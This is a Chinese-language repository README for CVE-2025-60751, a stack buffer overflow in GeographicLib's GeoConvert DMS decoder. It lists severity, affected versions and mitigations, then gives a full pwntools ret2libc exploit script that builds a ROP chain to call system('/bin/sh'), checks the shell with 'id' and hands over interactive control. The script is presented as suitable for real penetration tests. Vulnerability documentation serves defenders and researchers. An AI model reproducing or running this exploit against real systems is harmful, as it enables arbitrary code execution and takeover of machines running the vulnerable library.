📌 本仓库包含漏洞 CVE-2025-60751 的分析和技术文档,这是一个位于 C++ 库 GeographicLib 中的基于栈的缓冲区溢出漏洞。
该漏洞存在于 GeoConvert 组件中的 DMS::InternalDecode 函数内。
当库尝试处理格式错误或过长的 DMS(度、分、秒)坐标字符串时,会导致超出栈上分配缓冲区边界的写入。
CVE-2025-60751GeoConvert / DMS::InternalDecode基于栈的缓冲区溢出 (CWE-121)7.5 高CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H远程攻击者可以发送特制的坐标字符串以实现:
GeographicLib 转换坐标的应用程序意外崩溃。⚠️ 技术说明:虽然当前向量主要关注可用性(
A:H),但在没有现代内存保护(如栈金丝雀、NX 位或 ASLR)的特定环境中,此缺陷可能潜在地升级为任意代码执行。
| 产品 | 受影响版本 | 已检测到的发行版 |
|---|---|---|
GeographicLib | 2.5 | Debian LTS、Ubuntu 及其他整合此版本的 Linux 仓库 |
✅ 更新:强烈建议更新到 GeographicLib 的最新可用版本,其中已修复 InternalDecode 中的长度验证。
✅ 输入验证:如果无法更新,请实施一层清洗处理,限制发送给 DMS::Decode 的字符串长度(例如最多 32 个字符)。
✅ 安全编译:确保使用栈保护标志编译库:
-fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now
zer0matt 的技术分析此利用代码使用 pwntools 发起 Ret2Libc 攻击,利用缓冲区溢出。
与基础版本不同,此实现是健壮、动态且可验证的,适用于真实渗透测试和实验室环境。
| 特性 | 优势 |
|---|---|
ROP(elf) 动态 | 不依赖硬编码的 gadget:自动在二进制文件中找到它们。 |
集成 GDB 支持 | 执行 python exploit.py GDB → 自动打开调试会话。 |
| 后利用验证 | 发送 id 并确认 shell 后再交付交互控制。 |
RET 用于栈对齐 | 避免因对齐错误导致的 system() 崩溃(在 x64 上至关重要)。 |
使用 list + b"".join() 构造载荷 | 清晰、可读、易于修改和扩展。 |
exploit.py)#!/usr/bin/env python3
from pwn import *
# --- INFO ---
# CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
# Autor: Refactored for Robustness
# --- --- ---
context.binary = elf = ELF("./GeoConvert")
context.log_level = 'info'
def exploit():
# 1. Gestión de procesos (Local vs Remoto)
if args.GDB:
io = gdb.debug([elf.path], gdbscript="""
b *main
continue
""")
else:
# ASAN puede interferir con los offsets si no se gestiona bien
io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})
# 2. Localización Dinámica de Gadgets
rop = ROP(elf)
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
RET = rop.find_gadget(['ret'])[0]
log.info(f"Gadget POP RDI: {hex(POP_RDI)}")
# 3. Fuga de Memoria (Leak) para Bypass de ASLR
# En entornos reales: usar leak + libc-database o libc.rip.
# Aquí usamos base fija *solo para entornos de laboratorio controlado* (ASLR=off).
LIBC_BASE = 0x7ffff7a00000 # Ejemplo — ¡debe ser dinámico en producción!
SYSTEM = LIBC_BASE + 0x5d110
BINSH = LIBC_BASE + 0x1b1ea4
EXIT = LIBC_BASE + 0x4c340
# 4. Construcción del Payload (Estructura Limpia & Aligned)
offset = 136
chain = [
b"A" * offset,
p64(RET), # Stack Alignment (Crucial para Ubuntu/Debian modernos)
p64(POP_RDI),
p64(BINSH),
p64(SYSTEM),
p64(EXIT)
]
payload = b"".join(chain)
# 5. Ejecución y Verificación
log.info("Sending payload and spawning shell...")
io.sendline(payload)
io.clean()
io.sendline(b"id")
res = io.recvline(timeout=2)
if b"uid=" in res:
log.success("Pwned! enjoy your shell.")
io.interactive()
else:
log.error("Exploit failed or no output received.")
io.close()
if __name__ == "__main__":
exploit()
⚠️ 免责声明
本仓库具有纯粹的信息和教育目的,面向网络安全专业人士。
为此信息用于非法活动是用户的唯一责任。
❗ 谨慎使用代码:仅在授权、隔离且获得明确许可的环境中使用。
🔐 安全不是一种特性——而是一种纪律。
📬 发现报告:[email protected]
📦 官方仓库:https://github.com/geographiclib/geographiclib